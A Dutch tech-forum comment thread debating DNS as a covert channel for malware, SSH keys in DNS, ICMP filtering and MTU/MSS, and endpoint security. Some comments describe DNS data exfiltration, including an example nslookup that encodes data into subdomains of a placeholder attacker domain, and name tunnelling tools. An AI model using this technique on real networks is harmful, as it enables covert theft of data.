Ik moet nu wel toegeven dat NS gebruiken voor public keys, ipv authorized_keys, me een beetje vreemd klonk ja. Is niet meteen iets dat ik zelf zou doen, nee.

Bv. Dan zou je als aanvaller kunnen gaan uitzoeken op de name server (of door netwerk trafiek van je target-systeem naartoe de DNS server te onderscheppen) welke private keys er precies toegang verlenen (want voor die hun public keys worden er TXT queries gedaan).

Lijkt me lekken van nuttige gegevens voor een aanvaller op je netwerk, zo wordt de scope van waar hij/zij achter moet zoeken enkel maar kleiner. Als ik weet welke public keys, weet ik ook wie mijn individu-targets zijn om op het target-systeem te geraken. Zo'n authorized_keys is lekker lokaal.
Bovendien als je authorized_keys kunt inzien, dan heb je al root op die bak.

Bij het footprinting en kun je door NS query er nu al achter komen of met minder rechter door zonefile (of zonetransfer) er al achter komen.
Het beste is op een smartcard. Daar kan je de private key nooit vanaf kopiŽren. Wordt door de kaart zelf gegenereerd en je krijgt alleen de public key er uit. OpenPGP kaarten kunnen dit al een kosten maar een tientje. Voor hele bedrijfsPKI's zijn er nog veel uitgebreidere oplossingen. Veel veiliger dan op een SD kaart.

[Reactie gewijzigd door GekkePrutser op 3 maart 2017 22:22]

Public keys in DNS publiceren is geen enkel probleem. Met een public key ben je eigenlijk zelf niets. Het heet dan ook public key voor een reden.

Je bent hier bezig over security maar dan vindt je het wel geen probleem om preshared keys te gebruiken?
Preshared key is veilig indien beide partijen elkaar fysiek kennen/toegang hebben en daar geen derden bij kunnen.

Het is al duizenden jaren in gebruik.
Dat het al duizenden jaren in gebruik is, wil niet zeggen dat het veilig is. Je kan bijvoorbeeld een pre-shared key niet terug intrekken, en als je het wel doet dan zullen andere hosts/personen stoppen met werken. Pre-shared keys zijn meestal ook maar kort (wachtwoord achtig) en dus veel gemakkelijker te kraken dan een PKI.

Allť het valt mij gewoon op dat je zo op security aan het hameren bent en dat pre-shared keys dan plots wťl OK zijn, terwijl PSK's gewoon een farce voor security zijn.
Je weet hoe SSH auhorized_keys werken?

Want ik heb het idee dat ik iemand tracht te overtuigen die gewoon niet weet waar het over gaat.

Bovendien beveilig je die natuurlijk met een passphrase.
En heb je al root nodig om /root/.ssh/authorized_keys (of veel linux distro's) te bekijken.

[Reactie gewijzigd door totaalgeenhard op 3 maart 2017 23:38]

Sterker nog.
SSH-d weigert te werken via sleutels als iemand anders dan de eigenaar dat bestand kan lezen.
authorized_keys zijn gewoon public keys, maar wat er in DNS gepubliceerd wordt is de public key van de server, zodat de identiteit van de server bevestigd kan worden via een 2de kanaal. Althans, dat is toch wat ik afleid, wat bedoeling van bovenstaande poster is.

Als hij effectief de public key van de /gebruikers/ in DNS steekt en dat als alternatief voor authorized_keys gebruikt, ja dat is vragen om problemen. Is dat zelf mogelijk? Moet je wellicht zelf beginnen programmeren om dat mogelijk te maken met bv. OpenSSH.
Ooh, ja ik had ook begrepen dat de parent poster bedoelde om /gebruikers/ in DNS te stoppen. Vandaar dat ik zei dat authorized_keys lekker lokaal is he.

Inderdaad, de public key van de server in DNS stoppen is prima. Op mijn keybase.io kan ook iedereen allerlei public keys van me terugvinden over HTTP. Over DNS zou prima zijn. Ik denk wel niet dat veel mensen het zouden gebruiken, helaas.
SSHFP is niet voor private keys, maar als extra veiligheid. Voor HTTPS bestaat tegenwoordig iets soortgelijks.
Bij deze records sla je de public host key op in DNS. Als jij vervolgens verbindt met de host en je krijgt een andere fingerprint voorgeschoteld dan klopt er iets niet en gaat je client protesteren.

Is de tegenhanger van .ssh/known-hostst maar dan via DNS.
Correct, ik vertelde het niet correct.
Bij een echt beveiligingsinfrastructuur weet je wat je gaat ontvangen/versturen en sta je dat alleen expliciet toe.

Bij een grote organisatie is er een strikte scheiding tussen intern en extern verkeer.
Oh, maar nu hebben we het dus ineens over grote organisaties?
Dus, "onzin!" gaat nu niet meer op?
Het gevaar is wel degelijk aanwezig omdat niet iedere (grote?) organisatie een split DNS gebruikt, ...
Een TXT query zal meteen in SIEM een alert veroorzaken
...of een SIEM.

Er zijn diverse redenen om andere records op te vragen dan enkel een A of CName record.
Er zijn verschillende protocollen die gebruik maken van het TXT record.
Het al genoemde opslaan van SSH keys bijvoorbeeld, maar ook andere keys, bijvoorbeeld voor, nota bene, DNSSEC , kunnen worden opgeslagen in een TXT record.
Of een SPF record voor een mailserver, daarvoor moet je toch echt een TX record opvragen.

En het uitsluiten van dergelijke queries is nou niet echt een direct aan te raden security policy.
Of de systemen die hiervan gebruik willlen maken maar buiten je zonering plaatsen en direct laten resolven.....

Kortom, het blind ontzeggen van dergelijke queries op basis van "Dat heb je als client niet nodig, want ik als beheerder weet het beter" is juist de houding die er voor zorgt dat gebruikers op zoek gaan naar alternatieven om de policies te omzeilen.
En dat is vaak een nog groter gevaar.
Als er 1 ding is in beveiliging die je zou moeten weten is het wel dat je nooit aannames moet maken...
Je doet de aanname dat omdat jij de policies hebt bedacht, ze ook zo werken, ze niet te omzeilen zijn (want je hebt het wel gezegd dat het moest) en dat ze onfeilbaar zijn...
Je doet de aanname dat je weet wat iedereen in je bedrijf nodig heeft, dat DNS nutteloos is behalve het A/CNAME gedeelte en dat alles blokeren werkt...
Al deze dingen zijn fout, en zou je op je eerste werkdag al ervaren dat je policies niet altijd exact werken zoals je dacht dat ze gingen werken, dat je iets vergeten bent, dat een bedrijf wel eens wil groeien en dat medewerkers ook wel eens fouten maken of soms zelfs expres proberen policies en beveiliging te omzeilen al is het maar om facebook te kunnen bezoeken...
Verder is het ook wel flauw om bedrijven die niet alles blokeren dan beveiligingsloos en een gevaar voor privacy te noemen vind je ook niet?...
Noem eens een bedrijf wat letterlijk alles blokkeert behalve de systemen, protocollen en zelfs delen van die protocollen die ze echt absoluut nodig hebben?...
En een gescheiden DNS hebben heeft niks met dit te maken totdat je ook een firewall hebt draaien die al het DNS verkeer tegen houdt, iets wat ook vaak zat niet gedaan wordt simpelweg omdat er altijd wel iets is.
Misschien dat een handjevol bedrijven die details over kernbommen bezitten op hun meest belangrijke systemen alles blokeren maar ook daar zal de helpdesk niet zo streng in elkaar steken...
Maar waar moet je dat blokkeren dan precies? Want volgens mij zijn bepaalde andere records broodnodig voor het correct laten functioneren van AD (ben geen AD specialist, ik doe bijna alleen echte (e)Directories), en die Microsoft-rommel is tegenwoordig schijnbaar broodnodig in iedere organisatie.

Ik zit nu te kijken in een van m'n domain controllers en kan daar niets vinden over het blokkeren van bepaalde type records. Is het dan de bedoeling dat er nog een stel upstream interne BIND-bakken staan?

Dat SIEM een alert af kan geven, niet zoals je suggereert afgeeft, aangezien daar wel triggers voor gedefinieerd moeten worden, geloof ik wel. De vraag is meer; hoe blokkeer ik dit voor mijn gebruikers zonder dat mailservers en dergelijke functionaliteit verliezen?
Uiteraard moet je triggers hebben anders doet SIEM niets.
Maar als een interne client afwijkend verkeer kan versturen en het niets triggered heb je een heel ander probleem. (bot: Uw SIEM heeft geen zin)

Met betrekking tot Microsoft Nameserver.... het is niet ongebruikelijk om BIND als forwarders te gebruiken. (wat ik zou aanraden)

En misschien dat je iets aan dit artikel hebt:
https://blogs.technet.mic...dows-dns-server-policies/
Okay, dat is wel vet! Ik ben alleen niet zo'n fan van nu al upgraden. Het is niet kapot nu.
ICMP type 3 code 4 moet je ook toelaten zodat PMTUD werkt. Dat blokkeren is niet netjes.
Waarom?

Wat doet het er toe dat buitenwereld niet kan zien welke MTU size je intern gebruikt.

Even hypothetisch misschien dat je intern wel voornamelijk een ander niet op IP gebaseerde protocol gebruikt die met een andere MTU veel efficiŽnter is.

[Reactie gewijzigd door totaalgeenhard op 3 maart 2017 22:45]

Dat heeft niets te zien met welke MTU size je intern gebruikt. Waarom zou dat trouwens niet geweten mogen zijn, anders is er ook geen communicatie mogelijk. Bijvoorbeeld PPPoE (ADSL/VDSL/etc...) heeft maar een MTU van 1492 bytes door de PPP encapsulatie. Als jij 1500 byte frames stuurt naar een host die maar 1492 byte frames ondersteunt, dan zal jouw informatie niet toekomen.

Tenzij een node beter weet, gaat een node die iets verstuurt en aan zijn kant een MTU van 1500 heeft, er van uit dat de andere kant ook een MTU van 1500 heeft. Wat dus in het geval van de ene zijde een gewone ethernet connectie en de andere zijde een PPPoE connectie, niet zo is. PMTUD laat toe dat de verzendende node wťl weet wat de MTU van de andere kant is, zodat dit probleem zich niet voordoet.

Hoe komt het dan als jij PMTUD blokkeert, dat er meestal geen communicatieproblemen zijn? Aan de client zijde lossen routers/firewalls dat op door in de hogere lagen te rommelen met bv. de TCP maximum segment size, zodat de verzendende kant nooit frames gaat terugsturen > 1492 bytes.

PMTUD blokkeren is het equivalent van een enveloppe te versturen zonder te weten of dat het wel past in de ontvangende postbus. Je kan wel aannemen dat een standaard enveloppe gaat passen maar als hij niet past dan zal hij helaas verloren gaan.

https://samuel.kadolph.co...p-mss-when-using-pppoe-2/
Je weet dat je MTU size niet verder gaat dan je segment?

En denk je dat een multihomed opzet van een bedrijf op een border-router niet een VASTE WAARDE zal instellen na overleg met hun uplink provider?

Ben je niet in de war met MSS ?

Wil je wel een +1 geven voor vinden van een uitzonderingssituatie die je niet in de praktijk zult aantreffen bij een groot bedrijf. PPPoE termineer je niet rechtstreeks in je netwerk. (tenminste zou ik nooit doen).
Ik heb het niet over wat termineert aan jouw kant, ik heb het over wie verbindt met jou. Obviously leg je een vaste waarde voor je MTU vast (normaal is dat ook gewoon 1500 en hoef je dus niets te doen), maar het gaat niet over jouw netwerk naar je provider, het gaat over random user x die via het internet naar jouw netwerk verbindt, welke MTU er dus gebruikt wordt tussen de twee EINDpunten.

Edit: overigens telt dat dus ook voor als jij van binnen verbindt met een andere node in de buitenwereld.

Ik weet niet wat je bedoelt met MTU size niet verder dan je segment, maar het is andersom, je segment size kan nooit groter zijn dan je MTU - TCP header size. Heb je het artikel dat ik gelinkt heb wel gelezen?

[Reactie gewijzigd door RedShift op 3 maart 2017 23:25]

Ik denk dat ik je niet begrijp of jij niet begrijpt hoe ethernet werkt.

LAN 1
[Ethernetframe1]
MTU 9000

SWITCH port 1
[Ethernetframe1]
MTU 9000

DMZ1
[EthernetframeDMZ]
MTU 9000

SWITCH port 3
[Ethernetframe3]
MTU 1500


WAN
SWITCH 2 port 1
[EthernetframeWAN]
MTU 1500


etc...
Je ethernet frame komt niet verder dan SWITCH/Router port. Daarna zullen ze gefragmenteerd worden indien MTU anders zijn.

Voordat je schrijft dat MTU niet groter kan zijn dan 1500... dit zijn JUMBO frames.

Dus nogmaals MTU naar buitenwereld doet er niet toe, en ben je niet in de war met MSS ?
Lees het artikel dat ik gelinkt heb. MTU intern of extern, 1500, 9000, 1234, 6452, doet er allemaal niet toe, het gaat over hoe de MSS bepaald wordt.

Als jij een pakketje stuurt met een MSS van 1460 (1500 - ip (20) - 20 (tcp)), maar de andere zijde kan maar ontvangen met een MSS van 1452, dan gaat de laatste router die van MTU 1500 naar 1492 gaat, een ICMP type 3 code 4 terugsturen om te zeggen "fragmentation needed". Maar dat blokkeer jij dus.

Om dus te voorkomen dat er geen connectie kan gemaakt worden met mensen die ICMP type 3 code 4 blokkeren, gaat de router/firewall aan de kant van de lagere MTU, de MSS tijdens de TCP onderhandelingsfase aanpassen naar 1492.
Dus je hebt het niet over MTU maar over MSS
18.4 Maximum Segment Size
The maximum segment size (MSS) is the largest "chunk" of data that TCP will send to the
other end. When a connection is established, each end can announce its MSS. The values we've
seen have all been 1024. The resulting IP datagram is normally 40 bytes larger: 20 bytes for the
TCP header and 20 bytes for the IP header.
Some texts refer to this as a "negotiated" option. It is not negotiated in any way. When a
connection is established, each end has the option of announcing the MSS it expects to receive.
(An MSS option can only appear in a SYN segment.) If one end does not receive an MSS
option from the other end, a default of 536 bytes is assumed. (This default allows for a 20-byte
IP header and a 20-byte TCP header to fit into a 576-byte IP datagram.)
In general, the larger the MSS the better, until fragmentation occurs.
Bron: Tcp/ip illustrated
Tcp/ip illustrated is een boek van 1994, het TCP protocol is ondertussen al heel wat verder geŽvolueerd. Windows gaat by default een TCP connectie openen met als MSS = MTU uitgaande interface - 20 (IP) -20 (TCP). Als jouw netwerkkaart dus een MTU heeft van 1500, gaat Windows een MSS proberen van 1460. Linux doet ook hetzelfde. Dit kan je gewoon zelf met Wireshark zien: https://endeavour.webmind.be/~glenn/mss.png. Wat voor een verspilling zou het niet zijn dat we de MSS zouden beperken tot 536 bytes, terwijl we kunnen werken met een veel grotere MSS waardes.

Dus er is wel degelijk een relatie tussen MTU en MSS. Praktisch elk modern OS zal de MSS uitrekenen aan de hand van de MTU van de uitgaande interface.
Zoals enkel toestaan van ICMP echo request (11) en echo reply (8) indien je dat echt nodig hebt. En niet heel ICMP.
Je hebt zojuist path MTU discovery kapot gemaakt.
En vervolgens vraag je je af waarom sommige gebruikers compleet random websites niet kunnen bereiken...

Overigens worden ip packets tegenwoordig niet meer gefragmenteerd. Alleen software routers (Cisco 1900/2900/3900) kunnen dat nog. Alles wat forward met een ASIC (ASR1000 bijv.) droppen het packet en sturen een ICMP Type 3, Code 4 (fragmenting needed) naar de end host.

Dit is een fundamenteel concept van het internet (https://en.wikipedia.org/wiki/End-to-end_principle).

[Reactie gewijzigd door JackBol op 7 maart 2017 09:14]

Sterker nog, het is een veelgebruikte techniek binnen Cobalt Strike. Beacons van deze software kunnen via DNS call-backs doen. Ik zie niet in waarom dit nu precies nieuws is.
Dit verkeer gaat via de interne DNS-server, die de data vervolgens opvraagt bij de DNS-server van de aanvaller omdat DNS recursief is.
DNS hoeft niet recursief te zijn. Je kan standalone DNS gebruiken. Je hebt dan alleen geen DNS voor andere netwerken, waaronder het Internet. Belangrijke netwerken hebben sowieso geen internetverbinding. Een minder belangrijk netwerk kan ook van een proxy gebruik maken, waarbij DNS van het interne netwerk gescheiden kan blijven van het externe netwerk.
Kan me nog herinneren dat er heeel wat jaren geleden al eens een artikel stond in de C!T waarbij ze een proof of concept tool hadden waarmee ze via DNS requests konden internetten. Was natuurlijk zeer traag via de beperkte bandbreedte maar een paar KB/s is natuurlijk genoeg om flink wat dikke powerscript files binnen te hengelen..
Er is een linux tool dat precies dat doet: Iodine.

Dit is nagenoeg 'out of the box'. het zet tussen 2 machines met Iodine een IP tunnel over DNS op, zodat je op je afgeschermde server gewoon kunt Internetten, zelfs van buiten naar binnen kunt connecten.

Hard gaat het niet, maar het werkt.
Nu werk ik bij een organisatie waar behoorlijk veel aan filtering wordt gedaan. En gebruikers mogen niet zomaar iets opstarten dat niet gewhitelist is. Alle internetverkeer wordt gefilterd. Een stuk malware dat daarna via dns extra payloads ophaalt zal dan ook niet zomaar binnen komen.
Er zijn interne DNS servers, die zelf externe forwarders hebben. Met dat verkeer wordt weinig gedaan. En het is Windows (2012R2). Vanaf een client zou een TXT record wel op te vragen zijn, en als de TTL kort is wordt er weinig gecached. In het filteren van DNS queries zie ik nog wel een uitdaging, ervan uitgaand dat de interne DNS servers geen bescherming bieden in dit scenario.
Die reacties hierboven zijn echt fantastisch en fasinerend, op Tweakers loopt zoveel kennis rond

En het blijft maar fout gaan in de IT en wij lachen er gewoon om,

is het nou gewoon dat we niet gewaardeerd of onderbetaald worden? of eigenlijk geeft niemand er iets om?

en is het verdiepen en kennis hebben echt toebedeeld aan een select groepje mensen dat zich 'toevallig' op tweakers begeeft?

Ik persoonlijk heb het eigenlijk een beetje opgegeven, na 20 jaar websites maken en programeren, er valt geen eer aan te behalen, je bent alleen maar bezig klanten te overtuigen het allemaal beter te doen, maar het interesseert ze geen hol, ben ondertussen 10 keer beter in de marketing ervan dan het uitvoeren, lol

zie ook erg vaak de mensen op verkeerde plekken zitten, omdat het voor de bedrijven alleen maar om diploma's gaat
gvd de beste programeurs zonder diploma die uit ellende op call centers werken, omdat bedrijf x persee die universitair opgeleidde wil hebben gaat echt helemaal nergens over
zie dit al zo lang gebeuren in alle takken, van kleine ondernemers in de mode tot grote bedrijven, IT blijft onderschoven kindje binnen een bedrijf waar geen geld voor is, en als ze het dan doen, gaat het niet om creatief denken of pure kennis, nee zo'n dom diploma met een ongemotiveerd iemand eraan, de "echte" kom je niet tegen in bedrijven

en dan praat ik puur over Nederland, die gasten heb je ook in ex oostbloklanden die nu puur hun kennis inzetten op crimineel gebied, omdat je dan nog eer kan behalen, creatief kan zijn en goed geld kan verdienen

( sorry voor lang verhaal beetje veel frustratie om in een paar zinnen goed en snel neer te zetten)

[Reactie gewijzigd door Rebels op 4 maart 2017 02:54]

Ik snap je frustratie , maak datzelfde exact op andere vlakken ook mee....
Echter , veel (kleinere) bedrijven denken dat je netwerkveiligheid kunt kopen en dan voorlopig klaar bent net als het slot op je voordeur.
Netwerkveiligheid is veel complexer en jaren investeren in veiligheid kan soms met een simpele potloodstreep (om t zomaar te noemen) waardeloos worden gemaakt. Als de rapen dan gaar zijn dan staat t natuurlijk beter dat je aan je netwerk hebt laten sleutelen door een universitair opgeleid iemand dan door zoals jij zegt "iemand van een call center" zonder deftige papieren... alles heeft tegenwoordig te maken met het afleggen van verantwoording dat wordt afgedwongen door overheid , media en maatschappij... dan wordt t een politiek betere keuze en niet een technisch beste keuze ...
Dat is wel donders slim zeg.
Dit is (enkel) voor binnenkomende gegevens, dus commando's bv. Dat kan dus over alle protocollen die je firewall, rechtstreeks of (zoals hier) onrechtstreeks doorlaat.

Het zou pas echt interessant zijn moest men data exfiltratie (kunnen) doen over bv. DNS. Wanneer het over bedrijfsspionage gaat is het moeilijkere het ongemerkt gegevens naar buiten zien te krijgen. Naar binnen is eenvoudig. Niet (enkel) om ongezien commando's op de computers te kunnen uitvoeren. De meeste security oplossingen zijn echter voor binnenkomende gegevens. Niet voor uitgaande. Het gevaar zit hem net in wat er naar buiten gaat.

Heb dit nog al eens tegen iemand uitgelegd: Een gecompromiteerde computer is einde verhaal voor de security mensen (van een bedrijf of organisatie): de hele laag waar die computer toegang tot had is of zal verloren zijn. Dus is dat de computer van de CEO die per se overal toegang op wilde, dan zijn al je bedrijfsgeheimen prijsgegeven (de CEO zou dus net het minste toegang van iedereen moeten hebben, wat die persoon is zťker een target).

Wanneer de computer gecompromiteerd werd door iemand die een heel klein beetje kan nadenken, is het een zero sum verhaal en niet, of extreem moeilijk, detecteerbaar. Kijk bv. naar de Belgacom hack, of kijk een paar presentaties die gegeven worden op de CCC conference. Bijna alles wat er getoond wordt is publiek. Mensen die een beetje kunnen nadenken kennen die technieken.

De reden waarom IT-security mensen in bedrijven gecompromiteerde computers vinden, is omdat de meeste 'hackers' niet eens hoeven na te denken en dus massaal fouten maken. De echte goeie doen dat niet. Er zijn tal van organisaties bezig die tientallen van die echte goede in dienst hebben. Pas was in het nieuws dat Trump een grote uitloop bij de NSA vreest. Dat is ook zo. M.a.w. zitten er de komende jaren tienduizenden echte goeie bij allerlei organisaties en bedrijven. Dat gegeven kan je nu al voorspellen.

Beveiliging moet in de eindpunten zitten. Ieder eindpunt (iedere computer, iedere tablet, iedere telefoon, ieder document, ieder toegangsniveau) moet veilig en gelayered zijn. Een (Windows) computer die gecompromiteerd is mag er enkel voor zorgen dat de laag waarin die computer (en accounts er op) toegang had gecompromiteerd is. Verder niets. Voorst is een Windows computer die online kan per definitie niet meer veilig.
Het zou pas echt interessant zijn moest men data exfiltratie (kunnen) doen over bv. DNS.
Dat is toch hetzelfde?

Als jij query mag doen txt op domein "geef exploit".
Dan kan je waarschijnlijk ook
nslookup hash-van-serverQYZ-encoded-werwerwerwerwe-user-bofh.domein.xyz
nameserver van domein.xyz hoeft alleen alles te accepteren.
Zo kan je gewoon documenten coderen en ergens uit krijgen.

Je kunt gewoon een one-liner schrijven die een file op deze manier in kleine stapjes via nsloopup doorgeeft aan een "nameserver"

Maar nogmaals als je nooit inventarisatie hebt gemaakt op packet nivo dan weet je niet wat je infrastructuur in- uitgaat. En heb je een structureel probleem.

[Reactie gewijzigd door totaalgeenhard op 3 maart 2017 21:14]

Meeste bedrijven hebben een interne DNS server waar de desktopjes queries op doen. Die vragen worden zo ver ik het protocol begrepen heb niet doorgegeven. De interne server zal als het resultaat nog niet gecached is de vraag elders laten oplossen, en dan tot aan de TTL cachen.

Als je natuurlijk 8.8.8.8 hebt ingesteld op de DHCP server voor iedereen, en iemand kan alle trafiek naar 8.8.8.8 onderscheppen .. tja dan.
Maar als je clients alle protocollen ongefilterd naar internet kunnen sturen (en dus ontvangen) dan heb je een ander probleem. Geen beveiliging.

Particulieren en kleine bedrijven krijgen een adsl/kabel modem en denken ten onrechte dat die NAT hun ergens tegen zal beschermen (voor zover ze daarvan af weten).

Als je netwerken niet scheid dan kan je dat niet beveiligen.
Probleem is dat er te veel methoden zijn om een onveilige cliŽnt te infecteren. Een te oude browser en je moet letterlijk alle HTML en JavaScript blokkeren. M.a.w. dan heeft die computer praktisch gezien geen Internet.

Mijn pleidooi is daarom dat iedere cliŽnt veilig moet zijn. Je medewerkers zullen door handige mensen er toe aangezet worden om naar ťťn of andere plaats te gaan die malafide content in hun browser serveert, of in hun E-mail client, of in hun Office pakket, of of of of. Als die cliŽnt en software zelf veilig zijn, is dat geen probleem.

M.a.w. : de browser moet gesandboxed zijn, bijvoorbeeld. Gebruiken je medewerkers graag Windows en moeten ze er mee op Internet (ik zou niet graag de security ITer zijn dan, maar goed): dan restore je hun HD image (inclusief C:\Windows) iedere morgen vanaf het netwerk (of vanaf een read-only gegevensdrager) en staan hun gegevens extern. Zo is een gecompromiteerde Windows toch al maar ťťn dag gecompromiteerd. Of draai het Windows OS in een virtual machine en zet iedere morgen een snapshot terug. Heb je als cliŽnts bv. Linuxjes of BSD, draai dan software zoals de browser in een lightweight container. Dat is tegenwoordig eenvoudig (zoek bv. eens Flatpak op). Tegenwoordig hebben alle bedrijven toch Intranet en Cloud applicaties en Citrix-oplossingen? Dus waarom Windows als cliŽnt dan?
Je zult eerst moeten afvragen waarom een reguliere kantoor personeelslid bij een externe website moet komen.

Als daar geen reden voor is, dien je dat niet mogelijk te maken.

Indien het wel noodzakelijk is voor uitvoeren van diens functie moet je bekijken hoe je dat veilig kunt faciliteren.

Maar in zijn algemeenheid als beveiliging op CLIENT PC geregeld moet worden, kan het al niet veilig zijn. Browser sandbox kan men uitbreken.

Er zijn een aantal oplossingen die "vuil" buiten kan houden.
Stel ik ben een hacker ik heb malware op een client staan. Ik wil dat die malware met mijn server praat, dus dingen verstuurd.

Dan laat ik mijn malware vragen naar 'eet3d4fg5wdew5hd3vgede.mybadsite.com' waarbij de eerste naam een gecodeerd stuk data is, met een index, identifier etc.

Dit dns request komt aan bij de interne dns, die netjes op zoek gaat (en dus forward tot aan de authorative dns) naar die host.

Mijn authorative dns ontvangt het request, en breid de pakketjes aan elkaar. presto. een exploit die dns gebruikt om data naar buiten te sturen.

Infoblox heeft hier overigens een oplossing voor.

[Reactie gewijzigd door Frost_Azimov op 3 maart 2017 21:46]

Die requests gaan vrij hard opvallen en lijken me relatief eenvoudig te blokkeren door de interne DNS server. Maar je hebt wel een punt.
klopt hoor, dat is ook zo. Maar het is wel iets waar de meeste 'gewone bedrijven' over heen kijken, en udp 53 naar het internet open, ach dat kan toch geen kwaad? ;-)

Gelukkig kunnen ook de 'miscrosoft shops' in de toekomst dns policies gebruiken waneer server 2016 wat gangbaarder wordt. (infoblox is prijzig)

Ik weet eigenlijk niet wat/of de mogelijkheden met bind zijn hiertegen.
Knap werk dat ze het gemaakt hebben.
Knap werk dat ze het ontdekt hebben.

Op dit item kan niet meer gereageerd worden.


Nintendo Switch Google Pixel XL 2 LG W7 Samsung Galaxy S8 Google Pixel 2 Sony Bravia A1 OLED Microsoft Xbox One X Apple iPhone 8

© 1998 - 2017 de Persgroep Online Services B.V. Tweakers vormt samen met o.a. Autotrack en Hardware.Info de Persgroep Online Services B.V. Hosting door True

*